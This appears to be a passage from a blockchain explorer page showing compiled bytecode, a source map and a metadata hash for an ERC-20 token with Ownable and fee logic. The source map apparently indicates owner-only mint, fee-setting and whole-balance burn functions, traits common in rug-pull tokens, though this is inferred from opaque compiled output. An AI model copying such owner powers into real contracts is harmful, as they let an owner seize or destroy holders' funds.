952ba7f163c4a11628f55a4df523b3ef90610a69908690611211565b60405180910390a3610a79836000845b505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216610af65760405162461bcd60e51b81526004016105e2906111da565b610b0260008383610a79565b8060026000828254610b149190611228565b90915550506001600160a01b03821660009081526020819052604081208054839290610b41908490611228565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b84908590611211565b60405180910390a361065860008383610a79565b600061049783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d43565b600082610be957506000610432565b6000610bf58385611377565b905082610c028583611240565b146104975760405162461bcd60e51b81526004016105e290611055565b6001600160a01b038316610c455760405162461bcd60e51b81526004016105e29061110c565b6001600160a01b038216610c6b5760405162461bcd60e51b81526004016105e290610ecb565b610c76838383610a79565b6001600160a01b03831660009081526020819052604090205481811015610caf5760405162461bcd60e51b81526004016105e29061100f565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610ce6908490611228565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d309190611211565b60405180910390a361082f848484610a79565b60008183610d645760405162461bcd60e51b81526004016105e29190610e78565b506000610d718486611240565b95945050505050565b80356001600160a01b038116811461051f57600080fd5b600060208284031215610da2578081fd5b61049782610d7a565b60008060408385031215610dbd578081fd5b610dc683610d7a565b9150610dd460208401610d7a565b90509250929050565b600080600060608486031215610df1578081fd5b610dfa84610d7a565b9250610e0860208501610d7a565b9150604084013590509250925092565b60008060408385031215610e2a578182fd5b610e3383610d7a565b946020939093013593505050565b600060208284031215610e52578081fd5b5035919050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610ea457858101830151858201604001528201610e88565b81811115610eb55783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604082015261636560f01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b60ff91909116815260200190565b6000821982111561123b5761123b6113e8565b500190565b60008261125b57634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611611272575061129d565b818704821115611284576112846113e8565b8086161561129157918102915b9490941c938002611263565b94509492505050565b600061049760001960ff8516846000826112c257506001610497565b816112cf57506000610497565b81600181146112e557600281146112ef5761131c565b6001915050610497565b60ff841115611300576113006113e8565b6001841b915084821115611316576113166113e8565b50610497565b5060208310610133831016604e8410600b841016171561134f575081810a8381111561134a5761134a6113e8565b610497565b61135c8484846001611260565b80860482111561136e5761136e6113e8565b02949350505050565b6000816000190483118215151615611391576113916113e8565b500290565b6000828210156113a8576113a86113e8565b500390565b6002810460018216806113c157607f821691505b602082108114156113e257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220c7b03406ff156546014041b2a660687728a7c048ae4b76dac5fb74fa0366a68f64736f6c63430008000033

Deployed Bytecode Sourcemap

9359:2115:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3162:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4135:201;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;10999:79::-;;;;;;:::i;:::-;;:::i;:::-;;9489:24;;;:::i;:::-;;;;;;;:::i;3500:108::-;;;:::i;4350:295::-;;;;;;:::i;:::-;;:::i;3393:93::-;;;:::i;:::-;;;;;;;:::i;9520:24::-;;;:::i;4659:238::-;;;;;;:::i;:::-;;:::i;11356:100::-;;;;;;:::i;:::-;;:::i;9551:20::-;;;:::i;10803:83::-;;;;;;:::i;:::-;;:::i;3622:127::-;;;;;;:::i;:::-;;:::i;1080:135::-;;;:::i;9436:19::-;;;:::i;:::-;;;;;;;:::i;10614:80::-;;;;;;:::i;:::-;;:::i;817:89::-;;;:::i;3276:104::-;;;:::i;10706:83::-;;;;;;:::i;:::-;;:::i;4911:436::-;;;;;;:::i;:::-;;:::i;9463:19::-;;;:::i;3763:193::-;;;;;;:::i;:::-;;:::i;11090:121::-;;;;;;:::i;:::-;;:::i;10900:84::-;;;;;;:::i;:::-;;:::i;3970:151::-;;;;;;:::i;:::-;;:::i;11224:121::-;;;;;;:::i;:::-;;:::i;1229:201::-;;;;;;:::i;:::-;;:::i;3162:100::-;3216:13;3249:5;3242:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3162:100;:::o;4135:201::-;4218:4;4235:13;4251:12;:10;:12::i;:::-;4235:28;;4274:32;4283:5;4290:7;4299:6;4274:8;:32::i;:::-;4324:4;4317:11;;;4135:201;;;;;:::o;10999:79::-;763:13;:11;:13::i;:::-;11058:4:::1;:12:::0;;-1:-1:-1;;;;;;11058:12:0::1;-1:-1:-1::0;;;;;11058:12:0;;;::::1;::::0;;;::::1;::::0;;10999:79::o;9489:24::-;;;;:::o;3500:108::-;3588:12;;3500:108;:::o;4350:295::-;4481:4;4498:15;4516:12;:10;:12::i;:::-;4498:30;;4539:38;4555:4;4561:7;4570:6;4539:15;:38::i;:::-;4588:27;4598:4;4604:2;4608:6;4588:9;:27::i;:::-;4633:4;4626:11;;;4350:295;;;;;;:::o;3393:93::-;3476:2;3393:93;:::o;9520:24::-;;;;:::o;4659:238::-;4747:4;4764:13;4780:12;:10;:12::i;:::-;4764:28;;4803:64;4812:5;4819:7;4856:10;4828:25;4838:5;4845:7;4828:9;:25::i;:::-;:38;;;;:::i;:::-;4803:8;:64::i;11356:100::-;763:13;:11;:13::i;:::-;11414:34:::1;11420:7;11429:18;11439:7;11429:9;:18::i;:::-;11414:5;:34::i;:::-;11356:100:::0;:::o;9551:20::-;;;;:::o;10803:83::-;763:13;:11;:13::i;:::-;10863:5:::1;:14:::0;10803:83::o;3622:127::-;-1:-1:-1;;;;;3723:18:0;;3696:7;3723:18;;;;;;;;;;;3622:127;;;;:::o;1080:135::-;1136:71;1163:42;1136:18;:71::i;:::-;1080:135::o;9436:19::-;;;-1:-1:-1;;;;;9436:19:0;;:::o;10614:80::-;763:13;:11;:13::i;:::-;10674:4:::1;:12:::0;;-1:-1:-1;;;;;;10674:12:0::1;-1:-1:-1::0;;;;;10674:12:0;;;::::1;::::0;;;::::1;::::0;;10614:80::o;817:89::-;891:6;;-1:-1:-1;;;;;891:6:0;817:89;:::o;3276:104::-;3332:13;3365:7;3358:14;;;;;:::i;10706:83::-;763:13;:11;:13::i;:::-;10766:5:::1;:14:::0;10706:83::o;4911:436::-;5004:4;5021:13;5037:12;:10;:12::i;:::-;5021:28;;5060:24;5087:25;5097:5;5104:7;5087:9;:25::i;:::-;5060:52;;5151:15;5131:16;:35;;5123:85;;;;-1:-1:-1;;;5123:85:0;;;;;;;:::i;:::-;;;;;;;;;5244:60;5253:5;5260:7;5288:15;5269:16;:34;5244:8;:60::i;:::-;-1:-1:-1;5335:4:0;;4911:436;-1:-1:-1;;;;4911:436:0:o;9463:19::-;;;-1:-1:-1;;;;;9463:19:0;;:::o;3763:193::-;3842:4;3859:13;3875:12;:10;:12::i;:::-;3859:28;;3898;3908:5;3915:2;3919:6;3898:9;:28::i;11090:121::-;763:13;:11;:13::i;:::-;11163:40:::1;11169:7;11192:10;:8;:10::i;:::-;11186:16;::::0;:2:::1;:16;:::i;:::-;11178:24;::::0;:6;:24:::1;:::i;:::-;11163:5;:40::i;:::-;11090:121:::0;;:::o;10900:84::-;763:13;:11;:13::i;:::-;10962:5:::1;:13:::0;10900:84::o;3970:151::-;-1:-1:-1;;;;;4086:18:0;;;4059:7;4086:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3970:151::o;11224:121::-;763:13;:11;:13::i;:::-;11297:40:::1;11303:7;11326:10;:8;:10::i;:::-;11320:16;::::0;:2:::1;:16;:::i;:::-;11312:24;::::0;:6;:24:::1;:::i;1229:201::-:0;763:13;:11;:13::i;:::-;-1:-1:-1;;;;;1318:22:0;::::1;1310:73;;;;-1:-1:-1::0;;;1310:73:0::1;;;;;;;:::i;:::-;1394:28;1413:8;1394:18;:28::i;238:98::-:0;318:10;238:98;:::o;7072:380::-;-1:-1:-1;;;;;7208:19:0;;7200:68;;;;-1:-1:-1;;;7200:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7287:21:0;;7279:68;;;;-1:-1:-1;;;7279:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7360:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;7412:32;;;;;7390:6;;7412:32;:::i;:::-;;;;;;;;7072:380;;;:::o;921:145::-;1008:12;:10;:12::i;:::-;-1:-1:-1;;;;;997:23:0;:7;:5;:7::i;:::-;-1:-1:-1;;;;;997:23:0;;989:68;;;;-1:-1:-1;;;989:68:0;;;;;;;:::i;7466:453::-;7601:24;7628:25;7638:5;7645:7;7628:9;:25::i;:::-;7601:52;;-1:-1:-1;;7668:16:0;:37;7664:248;;7750:6;7730:16;:26;;7722:68;;;;-1:-1:-1;;;7722:68:0;;;;;;;:::i;:::-;7834:51;7843:5;7850:7;7878:6;7859:16;:25;7834:8;:51::i;:::-;7466:453;;;;:::o;9815:787::-;9948:9;9960:16;:6;9971:4;9960:10;:16::i;:::-;10000:4;;9948:28;;-1:-1:-1;;;;;;9990:14:0;;;10000:4;;9990:14;9987:608;;;10044:4;;10056:5;;10020:43;;10036:6;;-1:-1:-1;;;;;10044:4:0;;;;10050:12;;:1;;:5;:12::i;:::-;10020:15;:43::i;:::-;10078:53;10094:6;10102:9;10113:17;10124:5;;10119:4;:10;;;;:::i;:::-;10113:1;;:5;:17::i;10078:53::-;9987:608;;;10164:4;;-1:-1:-1;;;;;10151:17:0;;;10164:4;;10151:17;10148:447;;;10208:4;;10220:5;;10184:43;;10200:6;;-1:-1:-1;;;;;10208:4:0;;;;10214:12;;:1;;:5;:12::i;10184:43::-;10242:53;10258:6;10266:9;10277:17;10288:5;;10283:4;:10;;;;:::i;10148:447::-;10316:4;;-1:-1:-1;;;;;10316:4:0;:18;;;;10315:43;;-1:-1:-1;10353:4:0;;-1:-1:-1;;;;;10340:17:0;;;10353:4;;10340:17;;10315:43;:63;;;;-1:-1:-1;10373:4:0;;-1:-1:-1;;;;;10363:14:0;;;10373:4;;10363:14;;10315:63;10312:283;;;10418:4;;10430:5;;10394:43;;10410:6;;-1:-1:-1;;;;;10418:4:0;;;;10424:12;;:1;;:5;:12::i;10394:43::-;10452:53;10468:6;10476:9;10487:17;10498:5;;10493:4;:10;;;;:::i;10312:283::-;10536:47;10552:6;10560:9;10571:11;:1;10577:4;10571:5;:11::i;6459:591::-;-1:-1:-1;;;;;6543:21:0;;6535:67;;;;-1:-1:-1;;;6535:67:0;;;;;;;:::i;:::-;6615:49;6636:7;6653:1;6657:6;6615:20;:49::i;:::-;-1:-1:-1;;;;;6702:18:0;;6677:22;6702:18;;;;;;;;;;;6739:24;;;;6731:71;;;;-1:-1:-1;;;6731:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6838:18:0;;:9;:18;;;;;;;;;;6859:23;;;6838:44;;6904:12;:22;;6876:6;;6838:9;6904:22;;6876:6;;6904:22;:::i;:::-;;;;-1:-1:-1;;6944:37:0;;6970:1;;-1:-1:-1;;;;;6944:37:0;;;;;;;6974:6;;6944:37;:::i;:::-;;;;;;;;6994:48;7014:7;7031:1;7035:6;6994:48;6459:591;;;:::o;1444:191::-;1537:6;;;-1:-1:-1;;;;;1554:17:0;;;-1:-1:-1;;;;;;1554:17:0;;;;;;;1587:40;;1537:6;;;1554:17;1537:6;;1587:40;;1518:16;;1587:40;1444:191;;:::o;6046:399::-;-1:-1:-1;;;;;6130:21:0;;6122:65;;;;-1:-1:-1;;;6122:65:0;;;;;;;:::i;:::-;6200:49;6229:1;6233:7;6242:6;6200:20;:49::i;:::-;6278:6;6262:12;;:22;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;6295:18:0;;:9;:18;;;;;;;;;;:28;;6317:6;;6295:9;:28;;6317:6;;6295:28;:::i;:::-;;;;-1:-1:-1;;6339:37:0;;-1:-1:-1;;;;;6339:37:0;;;6356:1;;6339:37;;;;6369:6;;6339:37;:::i;:::-;;;;;;;;6389:48;6417:1;6421:7;6430:6;6389:19;:48::i;9027:132::-;9085:7;9112:39;9116:1;9119;9112:39;;;;;;;;;;;;;;;;;:3;:39::i;8775:246::-;8833:7;8857:6;8853:47;;-1:-1:-1;8887:1:0;8880:8;;8853:47;8910:9;8922:5;8926:1;8922;:5;:::i;:::-;8910:17;-1:-1:-1;8955:1:0;8946:5;8950:1;8910:17;8946:5;:::i;:::-;:10;8938:56;;;;-1:-1:-1;;;8938:56:0;;;;;;;:::i;5361:671::-;-1:-1:-1;;;;;5492:18:0;;5484:68;;;;-1:-1:-1;;;5484:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5571:16:0;;5563:64;;;;-1:-1:-1;;;5563:64:0;;;;;;;:::i;:::-;5640:38;5661:4;5667:2;5671:6;5640:20;:38::i;:::-;-1:-1:-1;;;;;5713:15:0;;5691:19;5713:15;;;;;;;;;;;5747:21;;;;5739:72;;;;-1:-1:-1;;;5739:72:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5847:15:0;;;:9;:15;;;;;;;;;;;5865:20;;;5847:38;;5907:13;;;;;;;;:23;;5879:6;;5847:9;5907:23;;5879:6;;5907:23;:::i;:::-;;;;;;;;5963:2;-1:-1:-1;;;;;5948:26:0;5957:4;-1:-1:-1;;;;;5948:26:0;;5967:6;5948:26;;;;;;:::i;:::-;;;;;;;;5987:37;6007:4;6013:2;6017:6;5987:19;:37::i;9165:189::-;9251:7;9286:12;9279:5;9271:28;;;;-1:-1:-1;;;9271:28:0;;;;;;;;:::i;:::-;-1:-1:-1;9310:9:0;9322:5;9326:1;9322;:5;:::i;:::-;9310:17;9165:189;-1:-1:-1;;;;;9165:189:0:o;14:175:1:-;84:20;;-1:-1:-1;;;;;133:31:1;;123:42;;113:2;;179:1;176;169:12;194:198;;306:2;294:9;285:7;281:23;277:32;274:2;;;327:6;319;312:22;274:2;355:31;376:9;355:31;:::i;397:274::-;;;526:2;514:9;505:7;501:23;497:32;494:2;;;547:6;539;532:22;494:2;575:31;596:9;575:31;:::i;:::-;565:41;;625:40;661:2;650:9;646:18;625:40;:::i;:::-;615:50;;484:187;;;;;:::o;676:342::-;;;;822:2;810:9;801:7;797:23;793:32;790:2;;;843:6;835;828:22;790:2;871:31;892:9;871:31;:::i;:::-;861:41;;921:40;957:2;946:9;942:18;921:40;:::i;:::-;911:50;;1008:2;997:9;993:18;980:32;970:42;;780:238;;;;;:::o;1023:266::-;;;1152:2;1140:9;1131:7;1127:23;1123:32;1120:2;;;1173:6;1165;1158:22;1120:2;1201:31;1222:9;1201:31;:::i;:::-;1191:41;1279:2;1264:18;;;;1251:32;;-1:-1:-1;;;1110:179:1:o;1294:190::-;;1406:2;1394:9;1385:7;1381:23;1377:32;1374:2;;;1427:6;1419;1412:22;1374:2;-1:-1:-1;1455:23:1;;1364:120;-1:-1:-1;1364:120:1:o;1489:203::-;-1:-1:-1;;;;;1653:32:1;;;;1635:51;;1623:2;1608:18;;1590:102::o;1697:187::-;1862:14;;1855:22;1837:41;;1825:2;1810:18;;1792:92::o;1889:603::-;;2030:2;2059;2048:9;2041:21;2091:6;2085:13;2134:6;2129:2;2118:9;2114:18;2107:34;2159:4;2172:140;2186:6;2183:1;2180:13;2172:140;;;2281:14;;;2277:23;;2271:30;2247:17;;;2266:2;2243:26;2236:66;2201:10;;2172:140;;;2330:6;2327:1;2324:13;2321:2;;;2400:4;2395:2;2386:6;2375:9;2371:22;2367:31;2360:45;2321:2;-1:-1:-1;2476:2:1;2455:15;-1:-1:-1;;2451:29:1;2436:45;;;;2483:2;2432:54;;2010:482;-1:-1:-1;;;2010:482:1:o;2497:399::-;2699:2;2681:21;;;2738:2;2718:18;;;2711:30;2777:34;2772:2;2757:18;;2750:62;-1:-1:-1;;;2843:2:1;2828:18;;2821:33;2886:3;2871:19;;2671:225::o;2901:398::-;3103:2;3085:21;;;3142:2;3122:18;;;3115:30;3181:34;3176:2;3161:18;;3154:62;-1:-1:-1;;;3247:2:1;3232:18;;3225:32;3289:3;3274:19;;3075:224::o;3304:402::-;3506:2;3488:21;;;3545:2;3525:18;;;3518:30;3584:34;3579:2;3564:18;;3557:62;-1:-1:-1;;;3650:2:1;3635:18;;3628:36;3696:3;3681:19;;3478:228::o;3711:398::-;3913:2;3895:21;;;3952:2;3932:18;;;3925:30;3991:34;3986:2;3971:18;;3964:62;-1:-1:-1;;;4057:2:1;4042:18;;4035:32;4099:3;4084:19;;3885:224::o;4114:353::-;4316:2;4298:21;;;4355:2;4335:18;;;4328:30;4394:31;4389:2;4374:18;;4367:59;4458:2;4443:18;;4288:179::o;4472:402::-;4674:2;4656:21;;;4713:2;4693:18;;;4686:30;4752:34;4747:2;4732:18;;4725:62;-1:-1:-1;;;4818:2:1;4803:18;;4796:36;4864:3;4849:19;;4646:228::o;4879:397::-;5081:2;5063:21;;;5120:2;5100:18;;;5093:30;5159:34;5154:2;5139:18;;5132:62;-1:-1:-1;;;5225:2:1;5210:18;;5203:31;5266:3;5251:19;;5053:223::o;5281:356::-;5483:2;5465:21;;;5502:18;;;5495:30;5561:34;5556:2;5541:18;;5534:62;5628:2;5613:18;;5455:182::o;5642:397::-;5844:2;5826:21;;;5883:2;5863:18;;;5856:30;5922:34;5917:2;5902:18;;5895:62;-1:-1:-1;;;5988:2:1;5973:18;;5966:31;6029:3;6014:19;;5816:223::o;6044:401::-;6246:2;6228:21;;;6285:2;6265:18;;;6258:30;6324:34;6319:2;6304:18;;6297:62;-1:-1:-1;;;6390:2:1;6375:18;;6368:35;6435:3;6420:19;;6218:227::o;6450:400::-;6652:2;6634:21;;;6691:2;6671:18;;;6664:30;6730:34;6725:2;6710:18;;6703:62;-1:-1:-1;;;6796:2:1;6781:18;;6774:34;6840:3;6825:19;;6624:226::o;6855:401::-;7057:2;7039:21;;;7096:2;7076:18;;;7069:30;7135:34;7130:2;7115:18;;7108:62;-1:-1:-1;;;7201:2:1;7186:18;;7179:35;7246:3;7231:19;;7029:227::o;7261:355::-;7463:2;7445:21;;;7502:2;7482:18;;;7475:30;7541:33;7536:2;7521:18;;7514:61;7607:2;7592:18;;7435:181::o;7621:177::-;7767:25;;;7755:2;7740:18;;7722:76::o;7803:184::-;7975:4;7963:17;;;;7945:36;;7933:2;7918:18;;7900:87::o;7992:128::-;;8063:1;8059:6;8056:1;8053:13;8050:2;;;8069:18;;:::i;:::-;-1:-1:-1;8105:9:1;;8040:80::o;8125:217::-;;8191:1;8181:2;;-1:-1:-1;;;8216:31:1;;8270:4;8267:1;8260:15;8298:4;8223:1;8288:15;8181:2;-1:-1:-1;8327:9:1;;8171:171::o;8347:453::-;8443:6;8466:5;8480:314;8529:1;8566:2;8556:8;8553:16;8543:2;;8573:5;;;8543:2;8614:4;8609:3;8605:14;8599:4;8596:24;8593:2;;;8623:18;;:::i;:::-;8673:2;8663:8;8659:17;8656:2;;;8688:16;;;;8656:2;8767:17;;;;;8727:15;;8480:314;;;8424:376;;;;;;;:::o;8805:148::-;;8892:55;-1:-1:-1;;8933:4:1;8919:19;;8913:4;8958:922;9042:8;9032:2;;-1:-1:-1;9083:1:1;9097:5;;9032:2;9131:4;9121:2;;-1:-1:-1;9168:1:1;9182:5;;9121:2;9213:4;9231:1;9226:59;;;;9299:1;9294:183;;;;9206:271;;9226:59;9256:1;9247:10;;9270:5;;;9294:183;9331:3;9321:8;9318:17;9315:2;;;9338:18;;:::i;:::-;9394:1;9384:8;9380:16;9371:25;;9422:3;9415:5;9412:14;9409:2;;;9429:18;;:::i;:::-;9462:5;;;9206:271;;9561:2;9551:8;9548:16;9542:3;9536:4;9533:13;9529:36;9523:2;9513:8;9510:16;9505:2;9499:4;9496:12;9492:35;9489:77;9486:2;;;-1:-1:-1;9598:19:1;;;9633:14;;;9630:2;;;9650:18;;:::i;:::-;9683:5;;9486:2;9730:42;9768:3;9758:8;9752:4;9749:1;9730:42;:::i;:::-;9805:6;9800:3;9796:16;9787:7;9784:29;9781:2;;;9816:18;;:::i;:::-;9854:20;;9022:858;-1:-1:-1;;;;9022:858:1:o;9885:168::-;;9991:1;9987;9983:6;9979:14;9976:1;9973:21;9968:1;9961:9;9954:17;9950:45;9947:2;;;9998:18;;:::i;:::-;-1:-1:-1;10038:9:1;;9937:116::o;10058:125::-;;10126:1;10123;10120:8;10117:2;;;10131:18;;:::i;:::-;-1:-1:-1;10168:9:1;;10107:76::o;10188:380::-;10273:1;10263:12;;10320:1;10310:12;;;10331:2;;10385:4;10377:6;10373:17;10363:27;;10331:2;10438;10430:6;10427:14;10407:18;10404:38;10401:2;;;10484:10;10479:3;10475:20;10472:1;10465:31;10519:4;10516:1;10509:15;10547:4;10544:1;10537:15;10401:2;;10243:325;;;:::o;10573:127::-;10634:10;10629:3;10625:20;10622:1;10615:31;10665:4;10662:1;10655:15;10689:4;10686:1;10679:15

Swarm Source

ipfs://c7b03406ff156546014041b2a660687728a7c048ae4b76dac5fb74fa0366a68f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.